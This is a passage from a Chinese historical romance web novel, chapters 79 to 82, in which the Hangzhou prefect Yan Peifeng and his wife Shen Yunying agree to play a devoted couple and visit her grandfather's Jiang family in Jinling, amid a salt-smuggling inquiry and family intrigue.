靛蓝色衣裳上的暗纹突然放大,飞鹤张牙舞爪,漆黑勾着金线的爪子栩栩如生,沈云楹欲往后一步,后背突然抚上宽大的手掌,几乎覆盖大半个背部,男人掌心炽热的温度透过春衫烫热沈云楹的肌肤。 沈云楹蓦的抬头, 正对上一双含笑的凤眸,熠熠生辉,异常明亮。沈云楹看着分毫未动的茶杯,伸手夺过来,“不渴就别喝了。” “夫人倒了,就是我的。”燕培风迅速抬手,一饮而尽。 握住沈云楹的手腕,燕培风将洁白的皓腕拉高,从袖中取出鎏金翡翠镯子。 沈云楹觉得燕培风刚刚话里有话,未及详细思索,又被燕培风的举动迁走思绪。这镯子翡翠莹润光滑,雕工精细,绝非凡品。沈云楹惊讶问:“你居然带了礼回来?” 杭州果然富庶!就是长华、新康这样的中等县也有这样的好东西。 燕培风呼吸一滞,把鎏金翡翠镯子给沈云楹带上,动作轻柔,低声道:“不是。” 鎏金翡翠镯子锁雪肤。果然很配。 他在张秋镇龙王庙的刹那想法,此刻终于实现。在收拾行李的时候,燕培风不知为何就从库房点出嘉荣长公主留下来的翡翠镯子。 因镯子在嘉荣长公主留给儿媳妇的账册里,他去取东西的时候,燕伯当时震惊又欣喜,燕培风还记得,烛火清晰映照出燕伯铜铃大的眼睛。 “是我母亲留给你的。”燕培风的嗓音低沉醇厚,像酿造多年的烈酒,熏得沈云楹有点头晕了。 嘉荣长公主留给她的? 沈云楹如水杏眸眨都不眨,轻声问:“公主?”嘉荣长公主的东西,怎么会在杭州?只能是燕培风提前带来的。 沈云楹更加不解。好端端的,带一个镯子来杭州,再送她,岂不多此一举?这是要作甚? 沈云楹杏眸圆润,面若满月,她又不遮掩,心事袒露得明明白白。燕培风低低地笑一声,低头欣赏一圈,满意地道:“龙王庙你磨墨那晚,我就觉得这镯子很衬你。今日一看,我的眼光果然不错。” 沈云楹愣了愣,“龙王庙?水患那会儿?” 沈云楹使劲回忆,好像是有磨墨那么一回事。她还记得那天特别累。说起来,杭州的府邸她还没种地。 “是公主的眼光好。”沈云楹粲然一笑,稍稍转动手腕,绿莹莹的翡翠清辉生光,故意歪了燕培风的话。 燕培风不争辩,他的目光盯着沈云楹的脸,带着温润笑意的脸庞收起。一双凤眸闪过一丝失落,离开府城的几日,燕培风不仅是为了公事,也是要冷静想一想他与沈云楹的关系。 就像方才沈云楹隐晦的疏离,一旦仔细留意就会发现。 回想一下,燕培风都想不起为何会觉得沈云楹心仪自己。好像顺理成章,一件又一件的事情凑到一起,燕培风从不怀疑沈云楹的真心,就这么认定。 燕培风摇摇头,或许他从心底觉得事情本该如此。以他的性情,不应该这么粗糙下定论的。 他不是怯战之人。 既然现在沈云楹还没动心,那就让她心动。 嫁与他做妻子,那就是他的人。志在必得。 燕培风目光柔和,声如清泉击石,清越如山风拂过,“沈云楹,我们是不是夫妻恩爱?” 沈云楹一懵,向来灵动的杏眸生生呆滞片刻,自从要来杭州,身边就有这种不靠谱的传言。现在传到燕培风耳朵里去了? 他这么问是什么意思,兴师问罪呢还是故作轻松置之不理? 沈云楹迟疑道:“相敬如宾,可能更合适?” 燕培风的神志不清了?莫不是忘了新婚夜这人说过的话?在京城的时候,两人都默契放纵夫妻不和的传言。 她还纳闷儿,从下江南开始,怎么就忽然刮起燕培风与她夫妻恩爱的风? 沈云楹一抬头就撞上漆黑的凤眸,里头长满荆棘的,只瞧得沈云楹心底发慌,整个人宛如置身荆棘丛。 难道是燕培风故意的? 八成是。 杭州官场和京城不同,可能燕培风需要新的形象示人,沈云楹愈发坚定这个猜测。 在燕培风直勾勾的眼神下,沈云楹轻声细语地开口:“那在杭州,我们是夫妻恩爱,鹣鲽情深吧?” 最后反问的语气令燕培风叹气。 他一颗心被狠狠攥紧,是他自以为是,酿了笑话。幸好无人知晓。燕培风顺势颔首,笑着肯定:“不错。” 沈云楹满眼困惑的模样,燕培风生出一丝不忍。说来也巧,不知是谁传开他们夫妻情深,燕培风就不客气地拿来一用了。 “江南官场牵一发而动全身,我们府里最好固若金汤,不给外人一丝机会。”燕培风嗓音不疾不徐,听在沈云楹耳中,不知是不是错觉,好像带着洒脱笑意,又好像带着蛊惑,“我们必须夫妻恩爱。” 沈云楹听明白了。 做戏。 演一场鹣鲽情深的戏。 沈云楹细细打量了一下燕培风,没想到燕培风会出这般狭促的主意。他为了官场仕途牺牲不小,连惧内的名声也不怕。 不过还真是一个好借口。府里安稳,她才能过安逸的日子不是? 就像这几日,府里安安静静的,和在京城一样,沈云楹每日舒舒服服的,想做什么就做什么。若是府里有姨娘通房之流,她的日子还能这么舒坦吗? 沈云楹浑身一个激灵,绝对不可能。 沈云楹忙不迭点头,信任道:“好。” 燕培风勾唇一笑,温水煮青蛙,再合适不过。 而沈云楹自以为解了困惑,难怪杭州那些夫人个个都在她面前说恩爱之类的话,根源就在燕培风啊。 等祝寿回来,她就接两个帖子赴宴,显摆显摆燕培风的好处,帮他做全这场戏。 沈云楹心里做好打算,全身一轻,好笑地看他一眼,“我这阵子就感觉你不对劲。这又不是什么难事。你直说就好了呀。” 燕培风深吸一口气,换个角度,沈云楹知晓、担心他心绪起伏,是好事。 “下不为例。”燕培风深深看一眼沈云楹。 离得那么近,沈云楹鼻子尖、眼神也精,燕培风到底风尘仆仆归来,身上出汗,靛蓝色的衣摆附着尘土。 沈云楹有点嫌弃,推他往里间,帮他拿出寝衣,“久别归来,你快去洗漱。” 燕培风从善如流,顺便领人进去尝试新宅子的浴桶好不好用,评价标准便是鸳鸯浴的舒适程度。 两人只歇息一日,翌日中午便出发去金陵。一为巡视漕运,二为祝寿。 两辆宽敞的马车打头,沈云楹独自在第二辆,或坐或躺都随她。 “明日什么时辰到?”沈云楹望着绿莹莹的田地,她们已经走过两个县城,天色也快黑了。 “夫人,明日中午就能到凤鸣山了。”银屏低声提醒,车夫是老把式,他的话还是可信的。 沈云楹嗯嗯点头,明明马车速度不慢,她还是想更快些。 “蜜乳糕香甜,再摆一碟子出来。”沈云楹刚刚已经吃了一碟,还想吃。她往前瞧瞧,“燕培风好忙。” 出门前,沈云楹亲眼看着思齐搬了两个箱子上去,里头不是账册就是折子,反正他得在路上处理公事。 还有那位左师爷,也要跟着燕培风忙碌。 真是不容易。 沈云楹看了看自己消遣用的插图话本,心有戚戚道:“左师爷也不容易,月底给他多一份月例。” 请左师爷的条件是月例三十两,一年四季衣裳全包,分他一处小院,令拨两个小厮去伺候。 银筝摆好几样糕点,茶水,笑道:“刚刚奴婢还瞧见思齐皱着眉头往后头去,那样子像是被老爷骂了。” 银屏忙问:“真的挨骂了?” 银筝不确定,“他凑近马车,听完话就愁眉苦脸的离开。应该是吧?”马车间隔不远,她也听不到前头在说什么啊。 沈云楹看了看银屏,“这会儿天不冷不热,老待在车里闷。你要不去外头坐会儿,再问问思齐有什么事。” 她也挺好奇的。 银屏答应一声,嘱咐银筝好好伺候,转身出去。 此时,第一辆马车氛围的确不好。 燕培风与左文景商量漕运之事。左文景是皇上的得力干将,一来果然查出不少蛛丝马迹,其中最关键的一环就是漕运。 本朝实行盐引制,其中盐引分长引和短引。前者一年有效,后者只有半年。不管是官盐还是私盐,都需要运输。江南临水,船运就是最便捷最省时的方式。 “官船私自运送的货物,还不能确定是盐。”燕培风面若寒霜,提醒的声音都带着冷意。 左文景摇头道:“还是慢了一步。” “打个赌,我有八成把握,那就是整整一船的盐。早不走晚不走,就是防着我们去查呢。” 第80章 蒋家 蒋文笙来信说, 蒋宜寿宴摆两日,四月初八接待外客,初九则是家宴。沈云楹提前两日到来即可。但沈云楹思母心切, 打算早些过去,亲眼看看蒋家的情形。 离家多年, 曾经熟悉的人都不在, 沈云楹担心蒋文笙。 燕培风初任杭州知府, 掐着时间去金陵巡视漕运,中途能拐去凤鸣山蒋家, 沈云楹心里感激燕培风。 这会儿刚进入金陵地界,左文景单独一骑,身后跟着几个随从,他要先去巡视漕运。 于是, 沈云楹好心提议:“你不用这么早去的,可以先去查探漕运?” 省得耽误公事。燕培风在蒋家仍牵挂漕运之事,不如先办了公务。 燕培风眉峰微动, 温声道:“我们刚说好的事,夫人这么快就忘了?” “嗯?”沈云楹微愣地张着嘴。 “爱屋及乌, 为夫自然要重视蒋家。寻常公务,往后推一推就是了。”燕培风眉眼带笑, 而且漕运那边粉饰一新,这时候去无非就是说场面话。等寿宴后,他们放松警惕,他再杀个回马枪。 沈云楹失笑,点头道:“好吧,我们一起去外祖家。” 凤鸣山在金陵城边上,因江南书院建在山腰, 凤鸣二字寓意又好,凤鸣山周边的宅邸闹中取静,备受欢迎。 蒋宅就在江南书院旁边,不同于官宦大家的威严石狮子,蒋家门前种着一小片竹林,清幽雅静。 沈云楹和燕培风的行程早有人来报给蒋家,燕家马车刚到,蒋家门房就往里头报信,没一会儿,蒋高棋就出门迎客。 蒋高棋一身鸭卵青儒袍,面容清隽,眉眼间与蒋文笙有五分相似,他幼时就听长辈们说自己长相颇似远嫁到京城的姑姑。前几日见到姑姑,蒋高棋才真的相信这话。 而沈云楹的五官融合父母之精华,恰好是眉眼肖似蒋文笙。燕培风初见蒋高棋便是一怔,等沈云楹下马车,两人站到一起,竟像亲兄妹一般。 蒋高棋从小堂妹唐婉口中得知,沈家表妹容颜出色,今日一见心下暗惊,一则是惊艳沈云楹姿态雍容,艳冠牡丹。二则是沈云楹竟与自己有几分相像。 回过神,蒋高棋对燕培风不好意思笑笑,拱手道:“表妹夫,表妹,一收到你们的来信,姑姑就盼着你们来了。祖父和姑姑在里面等着你们,快随我进屋。” 沈云楹见门口的年轻男子眉眼熟悉,看年纪和长相就猜到是表哥蒋高棋。再听他说话,就知道没猜错。 蒋家大舅和二舅的儿子分开排行。她若是喊三表兄,不太妥当。蒋高棋的年纪比蒋高恒大。 “劳烦高棋表兄。”沈云楹另选一个称呼。 蒋高棋对沈云楹本就心生亲切,见她行事知礼,更喜爱两分,立即笑道:“表妹不必客气。” 表兄表妹互动不过片刻,站在旁边的燕培风心下不悦,沈云楹的表兄果然都是绊脚石。 蒋高棋领着二人进去,绕过前堂,走过游廊,来到前院正厅。此时蒋家人聚齐在这儿。 蒋宜过寿,两个儿子身为朝廷命官不能擅离职守,大儿媳和小儿媳带孙子孙女回来贺寿。 端坐正中的是一位古稀老人。 沈云楹一进门就与一双温和睿智的目光对上,她微微一愣,心知这便是外祖父蒋宜,忙移开眼神,与燕培风快步上前见礼。 “见过外祖父。”沈云楹和燕培风齐声道。 除了大舅母和蒋琬,其余人皆是第一回见到沈云楹和燕培风,郎才女貌,不禁眼前一亮。 蒋宜身形修长清瘦,宛如立于山间的松柏,虽饱经风霜,却依然挺拔。一身竹青色青衫,远看一派出尘之姿。 离得近了,沈云楹再看,蒋宜面容清瘦,颧骨略高,眉间两道竖纹,可见平时总是皱眉。这倒符合沈云楹心中对老夫子的想象,训学生多了,就会是这般眉眼。 “好,好。”蒋宜人老成精,一面已能看出许多东西,沈云楹面容舒展,杏眸清澈,能窥见她生活无忧。 老人家慈爱地打量完外孙女,看燕培风的眼神就变得锐利。 “燕大人拨冗贺寿——” 蒋宜刚开了一个头,燕培风忙摆明态度,刚挺直的腰板迅速弯下去,丝毫不见四品大员的谱。他不言一语,动作已胜过千字客气辩驳。 蒋文笙和沈云楹都目不转睛盯着自己,蒋宜不好当着女儿和外孙女的面继续为难初登门的外孙女婿,捋着胡须笑道:“云楹和止衡头一次来,不必拘束,就把这儿当自家。” “家中事务是你表姐管着,你有事便去寻她。” 沈云楹听着蒋宜关爱的话语,知道他不是假客气,笑道:“是,外祖父。” 蒋文笙笑道:“爹叮嘱完了吧?”等蒋宜笑着点头,就为沈云楹和燕培风介绍厅内众人。 大舅母和蒋琬,不必多说,双方见礼。 二舅母、蒋玥、蒋高棋三人一一介绍。二舅母和大舅母一样,都是读书人家出身,高挑清瘦,面目慈和。 表姐蒋玥现管着后宅,两年前从二舅家回到金陵,奔着从金陵出嫁而回来,不巧未婚夫的祖母去世,只能推迟婚事。她就留在金陵照顾祖父。 表兄蒋高棋,年刚二十,身上还没秀才功名,现在江南书院苦读。只等这次过府试、院试,考取秀才功名。 沈云楹好奇地多看几眼蒋高棋,这位表兄居然能顶住祖父和父亲的双重压力,硬是等到二十岁才下场,也是厉害。 有蒋文笙的提前报信,沈云楹早早备好见面礼,厅内一片和谐。 蒋宜见燕培风为女儿倒茶,又侧头小声和外孙女说话,那张俊俏的笑脸看得他牙酸。 他轻咳两声,“既大家都见过了,止衡,高棋,随我去前院坐坐。” 燕培风这次能进后院,是进来认亲,免得以后见到蒋家人对面不相识。 蒋宜发话,蒋高棋附和,燕培风先看一眼沈云楹,见她笑意盈盈的和蒋琬聊天,点头道:“依外祖父所言。” 等三人离开,大舅母抬手点蒋琬的额头,“好了,别缠着你表姐。以后有的是时间。” 蒋琬许久不见沈云楹,正拉着她问京城的好玩事,一听她母亲不让,就要求情,可听见后面一句,又高兴的问:“云楹表姐,你要在家里住是不是?能住多久啊?” 小女孩儿脸颊肉乎乎的,沈云楹忍不住伸手捏一下她鼓起的脸颊,“是啊,琬儿开不开心?” 蒋琬乐得重重点头。 边上的蒋玥放下茶盏,捏住她另一边脸蛋,笑问:“琬儿有了表姐,就看不见堂姐了?亏我还吩咐厨房做了玉露凝酥,看来只能由我和云楹表妹享口福。” 闻言,蒋琬忙不迭对蒋玥表白,娇声道:“堂姐,好堂姐,琬儿两只眼都看着姐姐呢。舍我一碗玉露凝酥吧。” 沈云楹和蒋玥对视一眼,纷纷扬起唇角。 笑过一阵,大舅母和二舅母领着女儿离开,让沈云楹和蒋文笙叙母女情。 “娘,你在蒋家过得好吗?”就算信里每次都写好,沈云楹还是要亲口再问一遍。 蒋文笙全身透着轻松劲儿,笑容都比在京城时候自在,“当然好。今儿你也见过蒋家人。你外祖父不拘小节,很疼爱儿女,我在家万事不管,比闺中时候还舒服。” “父亲他许是心中有愧,觉得不该将我嫁去京城,还早早守寡。对我不有不应的。”蒋文笙声音有些低,看着沈云楹笑道:“不过,你知道,沈家其实还不错。” 除了沈老夫人和不能常出门,蒋文笙没觉得沈家不好。 “你呢?杭州的女眷有没有难缠的?”蒋文笙让丫鬟上糕点茶水,指着窗边的小案几,“那是玥儿送来的桃花,知道我们喜欢吃,又送来新的桃花饼,你尝尝?” 沈云楹粗粗打量一圈蒋文笙的居所,不如太师府的宽大轩敞,却别有一番滋味。 “挺好的,在杭州我的诰命最高,燕培风也不叫我应酬打机锋,日子和在京城差不多吧。”沈云楹说起接风宴的几位夫人,最后感叹:“杭州富裕,名不虚传。” 京城的富商地位并不高,有钱无权,很少出现在官眷宴席上。在杭州却能和官眷齐聚一堂。 “当然,盐商就不说了,我听说药材商白家和京城权贵人家常有往来,与太医院的关系也好。他家有配置药材的独门秘方,药材药性比别家好,只凭这一点在,白家就算在京城,也不会被视为一般的商贾。”蒋文笙柔声道,忽然,她面色一变,语气焦急问:“你收下了春喜班?” 沈云楹点点头,“是啊,春喜班全是女子,这边又有蓄戏班的风气。养哪家不是养,春喜班还养眼养耳。” 说到春喜班,沈云楹想起还没搞清楚席家送来的理由,就问蒋文笙知不知道。 蒋文笙上上下下审视一眼沈云楹,往后靠上引枕,“你不知因由还敢收礼?” 沈云楹嘿嘿一笑,当时以为是送给燕培风的,她便没多想。 春喜班的头牌名伶沈姑娘原是好人家的女儿,她家有几间茶具铺子。可惜最后家破人亡,唯一的女儿被上任春喜班班主买去。 沈姑娘及笄后容色越发漂亮,被姚家大公子看上,想纳回家,可是他未娶正妻,姚家坚决反对,还想买下春喜班。 席家夫人曾与沈家有几分交情,沈姑娘曾向席夫人求助,她就出手先一步买下春喜班。 蒋文笙道:“只是没想到她会转手送进燕家。不知席夫人是早有这个打算,还是凑巧。” “席家和姚家并不十分融洽,”沈云楹回忆那日的情景,“姚家势大,或许,席夫人想借燕家庇护春喜班。” 席家明知姚家公子喜欢春喜班的姑娘,偏偏花大价钱买下送给燕培风。送去燕家,燕家收不收全看天意。毕竟席夫人已经出力周全过。 “或许吧,席家什么想法谁知道。你别太掉以轻心了,别让人在后院乱逛。”《 》 80-90 第81章 规矩 沈云楹嗯嗯点头, 奇怪道:“娘,她们只是戏班子。”言下之意,没有她的允许, 春喜班压根不可能出现在后院。 蓄养戏班,多是安排住进一个院子, 没有主人家首肯, 整个戏班的人都没有出入自由。 “您别紧张。” 蒋文笙娥眉微蹙, 叹气道:“方才正厅上见的都是蒋家人,现下蒋家还有一位寄居的姑娘, 是我爹姨娘的娘家侄女。” “拐了两道弯儿的亲戚,怎么会住在蒋家?”沈云楹双目锃亮,里头有热闹啊。 “一年前,文姨娘的娘家犯事被抓, 阖府男丁判流放八百里,文茹霞正是及笄之年,又遭受未婚夫家毁诺。文姨娘怜惜这位侄孙女, 求蒋家收留。” 沈云楹凝眉,放下可口的桃花饼。文家难道只有文茹霞一个女人, 文姨娘怎么只怜惜她? 蒋文笙一瞧就猜到沈云楹的想法,沉声道:“女子花期难得, 她正在相看的年纪,偶遇过几次高棋,础筠和础鹤来那日,也巧遇了她。” “人瞧着文文弱弱,动作倒是爽快利落。” 沈云楹了然,蒋文笙是不喜这般作为。沈家两位堂兄还未成亲,他们的亲事得沈家做主。若是在江南出了一丝意外, 沈老夫人和沈大夫人还不得飞下金陵找蒋文笙的麻烦。 “蒋家现有两位舅妈,还有蒋玥表姐在。轮不着咱们管蒋家的亲戚。”沈云楹轻笑道。 “础筠、础鹤今儿不是故意不来,碰巧书院旬考,我让他们先去考,和书院的学子切磋切磋。”蒋文笙想起为两个侄子的缺席说明理由。 沈云楹颔首,客气一句:“学业为重。”又歪头笑道:“我主要来瞧娘的,又不是看他们。” “两位堂兄要留在江南书院念书?短期不回京城了吧?”纵然沈云楹不想提,也不能改变事实。蒋文笙肯定要随着沈础筠回京,不会在这里久待。 蒋文笙嫣然一笑,白玉般的面颊流露几分自傲,“你外祖父说,少则半年,多则两三年。看础筠和础鹤的悟性。” 江南书院敢以江南为名,便不是浪得虚名。蒋宜考验过沈础筠和沈础鹤,压着他们读两年书不是问题。 沈云楹不禁欢喜,笑嘻嘻赞道:“外祖父厉害。” 蒋文笙拉着沈云楹起身,“我瞧着你没胖没瘦,今儿不下厨了。” “先去看看院子。清碧苑在东北,有侧门单独出入,拐个弯就是江南书院,也安全。” 蒋文笙的院子在东边,距离清碧苑不远,走上一刻钟就能到。清碧苑三间正房,左右厢房、耳房,另有一间小厨房。麻雀虽小,五脏俱全,是一座清雅院落。 沈云楹留神记下路线,才刚进门,忽听里面传出蒋玥的声音,“都小心些归置,银屏银筝,若是有什么不凑手的,只管派人来告诉我。” 接着就是银屏感激的道谢。 蒋文笙先一步进去,笑道:“玥儿。” 蒋玥转身,惊喜道:“姑姑,表妹,你们来得正好,快来瞧瞧收拾得合不合心意?” 沈云楹粗粗扫一圈,“多谢表姐费心操劳。”蒋玥贴心周到,如长姐一般照顾她,沈云楹心里很感激。 “你们年轻小姑娘一块儿说话,我有事去找大嫂二嫂。”蒋文笙说走就走,有心让沈云楹和蒋玥培养感情。蒋家两位姑娘人品性情俱佳,值得沈云楹往来。 沈云楹一愣,一回头,蒋文笙的背影都看不见了,小声嘀咕道:“走那么快!” 蒋玥轻笑出声,主动拉着沈云楹的手,介绍道:“虽说四月日头升高,可山上还是有些凉的。夜里只开这面小轩窗。”轩窗只有两掌大小,凉风徐徐吹进来,感觉还不错。 她又指着隔壁书房,“我听姑姑说,表妹喜欢游记和话本,就自作主张送了些来给你解闷。” 沈云楹心头一喜,反问道:“表姐也喜欢?” 如果不是自认为好的,蒋玥不会轻易送来。才认识第一天呢。果然,蒋玥面颊微红着颔首。 沈云楹难得遇到同好的姐妹,大方道:“我也带了几本过来,表姐来瞧瞧,要是喜欢就拿回去看。” 两人对视一眼,默契笑出声。这一笑,两人渐渐熟悉起来。 “真的是因为高恒表兄?”沈云楹不意外,有蒋高恒在,蒋玥跟着喜欢游记才正常。 蒋玥笑着点头,“堂兄还写过凤鸣山的景儿,那时他才七岁,跟着大伯读完蒙学,来书院正式学文章。手稿罚交给祖父了,不然我就带妹妹去看看。” 沈云楹直呼可惜,若是有,就能按照凤鸣山的介绍去玩儿了。她忽然想起这回还带来一件东西,“姐姐来看,这件东西你应该有兴趣。” 箱子打开,正是燕培风赠送的码头街景木片拼图。沈云楹完成了大半,能辨认出人物和地点。 蒋玥细细观察着栩栩如生的各式人物,都是海外异族人。她听说每每出海的大船归航,总有一伙异族人跟着上岸逛金陵一带。蒋玥没见过,只听人说过。 这景和人物编排,看着眼熟。 “难道是仿着清明河上图?” 沈云楹摇摇头,“不知。就算是仿的,也比不上河上图万一。” “我还差一些才拼凑完。姐姐可能助我一臂之力?我已经夸下海口,要在回程时拼完的。” 在杭州时,燕培风看到沈云楹将这份拼图装进箱笼,打趣笑话她龟速,一幅画几个月拼不完。今年不用去寻摸新木片图了。沈云楹还想要新的呢,一听忙说尽快拼完。说着说着,两人就定下期限。 蒋玥噗嗤一笑,沈云楹与燕培风果然夫妻恩爱。“我一定来。” 接下来,蒋玥领着沈云楹逛完清碧苑,又绕到外面,给沈云楹介绍蒋家后院的布局。两人并肩走,来到清碧苑后头的青碧亭,其环山抱水,一座小假山和小池塘,景小但雅致。 正赏景,鹅卵石小路从远处传来两个人吵嘴的声音。 “你跟来也没用,我是不会让你玩儿的。这是哥哥给我的生辰礼物!” 是蒋琬的声音。 蒋琬的脚步声蹭蹭蹭的,比以往更重,显然在生气。 “文姐姐,你别跟着我!” “琬儿妹妹,你还小,我怎么能放心你自己在外头玩耍呢?要是你出了事,我怎么跟姑祖母和二夫人交代?就是高棋公子,我也无颜再去见他的。”一道温温柔柔的女声响起,态度放低,“琬儿妹妹,姐姐不是要你的生辰礼物哦,君子不夺人所好,我也是念过书的。琬儿妹妹千万别冤枉我。” 蒋琬深吸口气,扬高声音:“那你跟着我作甚?” “高棋公子曾托我照顾妹妹。”文茹霞面色一红,柔声道:“你生辰礼的自行船,我们以前讨论过,我一直都想见见。新奇又罕见,我只要在边上,能看上几眼就好了。琬儿妹妹,可以吗?” 蒋琬年纪小,见文茹霞说得可怜,心里已经愿意,正要应下。忽然听到蒋玥的声音,“琬儿!” 蒋琬怀里紧紧抱着盒子,立即哒哒哒跑过去,“堂姐,表姐!” 文茹霞紧紧抿唇,等抬头时,已然是眼含薄雾,楚楚可怜的模样。她往前两步,“玥姐姐。” 视线转向娇艳如花的沈云楹,福身见礼:“见过惠和县君。” 沈云楹饶有兴味地看文茹霞一眼,她来蒋家既没有摆县君的架子,也没有在蒋家面前提。本意就是只做亲戚走动。 蒋家上至蒋宜,下至蒋琬,没一个身份比县君高。沈云楹又不是来蒋家寻麻烦的。 偏偏文茹霞一见面就喊她县君。 文茹霞还半蹲着,没听到沈云楹回应,忍不住抬头去看。她见过蒋文笙,又从蒋琬处打听到沈云楹的性子,是个善心省事的女子啊。 沈云楹莞尔一笑,“文姑娘,你既喊了我县君。我就得告诉你行礼的规矩了,否则让人知道,恐会说我辱没了县君的称号,还辜负皇上的心意。” 沈云楹往后一招手,“红叶,去扶文姑娘起来。你给文姑娘示范一下,民女该怎么给县君行礼。” “是。”红叶利索跪下,一板一眼的讲解动作,完了还问文茹霞,“规矩就是这样,文姑娘记住了吗?” 文茹霞紧紧咬着唇,双眼欲泣,半蹲的身子摇摇晃晃。不知道该学一遍,还是直接哭着离开。 沈云楹无意为难人,给她一个警告,不要打自己和蒋文笙的主意。到这个程度就差不多了。 沈云楹笑着走到文茹霞面前,笑道:“刚刚只是纠正文姑娘而已,你别误会。文姑娘当心身子,别摔了。”又看着蒋玥,“我在外祖家,就是亲戚,可不是来当县君,被人伺候的。” 文茹霞大松一口气,“好。” 看着沈云楹笑盈盈的眉眼,脱口而出,“燕夫人与高棋公子乍一看,真像兄妹。” 文茹霞瞬间想到借口解释刚刚的表现,弱弱地道:“我受高棋公子照顾颇多,一见燕夫人就心生亲近,宛如见了亲妹妹一般。可是我不知道不是,才用唤县君,想着提醒自己,我与夫人云泥之别,不想燕夫人误会了。” 说着微微低下头,仍能让人看清她满脸的失落和愧疚。 沈云楹暗自品味一下文茹霞的话,蒋文笙的评价,说到精髓。 她第一次见到这款样式的闺秀,赶紧多看两眼。今日蒋高棋照顾文茹霞的话传开,二舅母就该想法子不让文茹霞出门了。 不然外祖父寿宴,文茹霞这么一说,那还了得。蒋高棋还没定亲呢。 沈云楹顺势点头,“嗯,我知道了,不会误会你。” 说完,不再理会文茹霞,只低头摸摸蒋琬的头,“琬儿,我那儿还有小玩意给你玩,我们去清碧苑?” 蒋琬大乐,“好,现在就去。”又拍拍自己怀里的盒子,“我抱了自行船想找表姐玩儿。” 等沈云楹和蒋琬转身离开,蒋玥才冷着脸道:“文姑娘,到文姨娘叫晚膳的时辰了,她老人家离不得你。” 文茹霞攥紧帕子,咬牙转身就走。 第82章 纸鸢 蒋家庭院。 一堵高墙横亘在竹林间, 将自然与人工穿凿两者结合,令人眼前一亮。 蒋宜从四书五经问到朝廷大事,谁承想没考糊燕培风, 反把蒋高棋问得冷汗涔涔。蒋宜恨铁不成钢地瞪孙子一眼,不争气! 瞧人家燕培风, 神色稳如山。 蒋宜为人师表多年, 从燕培风的回答就能判断出他的才华性情。 “都坐下。”蒋宜朝两人招招手, 竹林环绕石桌石凳,刚抽芽的嫩竹叶清新怡人, 燕培风极有眼色,主动为蒋宜斟茶奉上,顺手给蒋高棋搭一杯,“外祖父喝茶。” 兰香幽远, 燕培风立刻闻出这是明前龙井,茶叶约莫是今年刚摘下的,鲜爽清雅, 是文人大儒的心头好。 蒋宜的确好这一口,清茶青竹相伴, 人生乐事也。 蒋宜对燕培风心里满意,才华、心性和背景都不缺。当年他去信京城劝蒋文笙归家改嫁, 可是她不愿意。眼前这个新出炉的外孙女婿,要是折在江南,外孙女岂不是随女儿的后尘,要守寡度日? 他不喜拐弯抹角,直接问道:“止衡打算何时去巡视漕运?” 燕培风坦诚道:“已经开始了。”左文景正在打头阵。 蒋宜沉吟片刻,燕培风看起来胸有成竹,他言简意赅:“金陵知府是淑妃的幼弟。他一生下来就被过继出去, 这段关系才鲜为人知。” 燕培风眉峰微动,这个消息,他不知道,左文景亦不知。 明面上淑妃只有一位兄长,才干平平,皇上封其为县令。淑妃家世低,只是西北一耕读之家,整个家族做官的人都不够一掌之数。而中宫有两个嫡子在,淑妃所出的三皇子向来低调,去年刚成亲并出宫建府,此时在刑部观政,不功不过。 突然冒出一位任职金陵知府的亲舅舅? 鹬蚌相争,渔翁得利。 燕培风脑海里闪过无数念头,恭敬道:“孙婿知道。” 蒋宜唔一声,余光瞥向蒋高棋沉思却懵懂的模样,抬眼给他一个眼风,“去切两根竹子,今儿吃竹筒饭。” “哎!”蒋高棋早被吩咐习惯,走了两步又回来拉上燕培风,“妹夫随我一起去。” 干活就要拉个帮手。 燕培风看着放在墙根下的篾刀、刮刀和凿子,工具齐全,又看看蒋高棋用的游刃有余,蒋高棋木工活儿好的传言,看来不假。他对蒋家年轻一辈的不务正业又有了新的认知。 当天晚膳,厨房果然用上新竹子焖饭,竹香浸润到粒粒米饭,吃得人唇舌留香,一顿饭宾主尽欢。 清碧苑布置了两个书房,一东一西。燕培风在忙公务,沈云楹在看蒋玥的珍藏话本。 南边的话本与北方大不相同。 江南读书人写的话本戏剧更缠绵悱恻。用词大胆,旖旎多情,看得沈云楹脸颊微红。 亥时末,沈云楹从坐着看,躺着看,到现在趴着看,手边还有金陵特色垂丝樱桃,个头小,皮薄肉软,还滋味甘甜。 燕培风进门时就看到这幅场面,沈云楹枕着自个儿的手臂,半个身子都撑在案几上。 案几一角放着荷叶盏,倒挂的荷叶盛着红彤彤的樱桃,在往边上是竹编浅篮,新鲜带叶的金黄枇杷满满堆了一篮子。 燕培风没让人通报,轻手轻脚进屋,看到沈云楹双目都不离书本,纤细的手指拈起一颗樱桃放入口中,他喉咙一动,镇定坐到沈云楹对面。 沈云楹听到动静,抬头看了一眼,随口问:“你忙完了?有事找我?” 她正看到关键处,知府千金正面临两难抉择,一边是与书生情郎私奔,一边是父母之命媒妁之言嫁入别家。 沈云楹突然想起大堂姐沈云芝,更想知道后续。她心神都沉浸其中。 燕培风眸光微暗,盯着两份水果道:“水果寒凉,你正用药膳调和脾胃,不宜多食。” “咯”一记闷响,沈云楹不慎咬到樱桃果核,歪头吐到骨碟中。她忙出言维护自己的一点喜好,“不成。” 意识到态度有些强硬,想想燕培风也是为了自己好,沈云楹放软语气,“樱桃就在这个时节能吃,一年就这么一段时间。我特意把井水湃过的那份送去娘那儿了。” 沈云楹心想着,调理身体是经年累月的事。这两年不考虑怀孕,沈云楹花了不少功夫磨得陈太医和药膳医娘同意,她基本不用忌口了。 沈云楹杏眸圆睁,温言软语护食的模样,可怜可爱。看来樱桃最得沈云楹心意。 燕培风拖延一会儿才点头,但身体力行为沈云楹减负。他随手一拿,就是三五颗。 荷叶盏本就不大,沈云楹吃了大半,被燕培风搜刮一层,就剩下孤零零的两颗樱桃。 好在,还有枇杷。沈云楹不在乎,笑问:“金陵的樱桃怎么样?” 燕培风颔首肯定,“更小更甜。”他又多拿起两颗。 沈云楹满意一笑,“这是凤鸣山上种的垂丝樱桃,琬儿妹妹说听文章闻墨香长成的呢。”然后大方许诺,“明儿给你留一份。” 燕培风嗯一声,神色舒展,沈云楹花在吃喝上的时间多,能得到她青睐的吃食,果然不错。 沈云楹见他不像有事,继续低头看书。 燕培风等过一刻钟,沈云楹还是看都不看他。 沈云楹刚翻过一页,满页的字突然被一双修长清瘦的手代替,她诧异抬眸,喉间发出一声:“嗯?” 燕培风有点幽怨地道:“天天看话本还不够?我这么一个大活人坐在这儿呢。” 沈云楹噗嗤一乐,弯着眉眼道:“看到了,鼻子眼睛,胳膊和腿都在呢。” 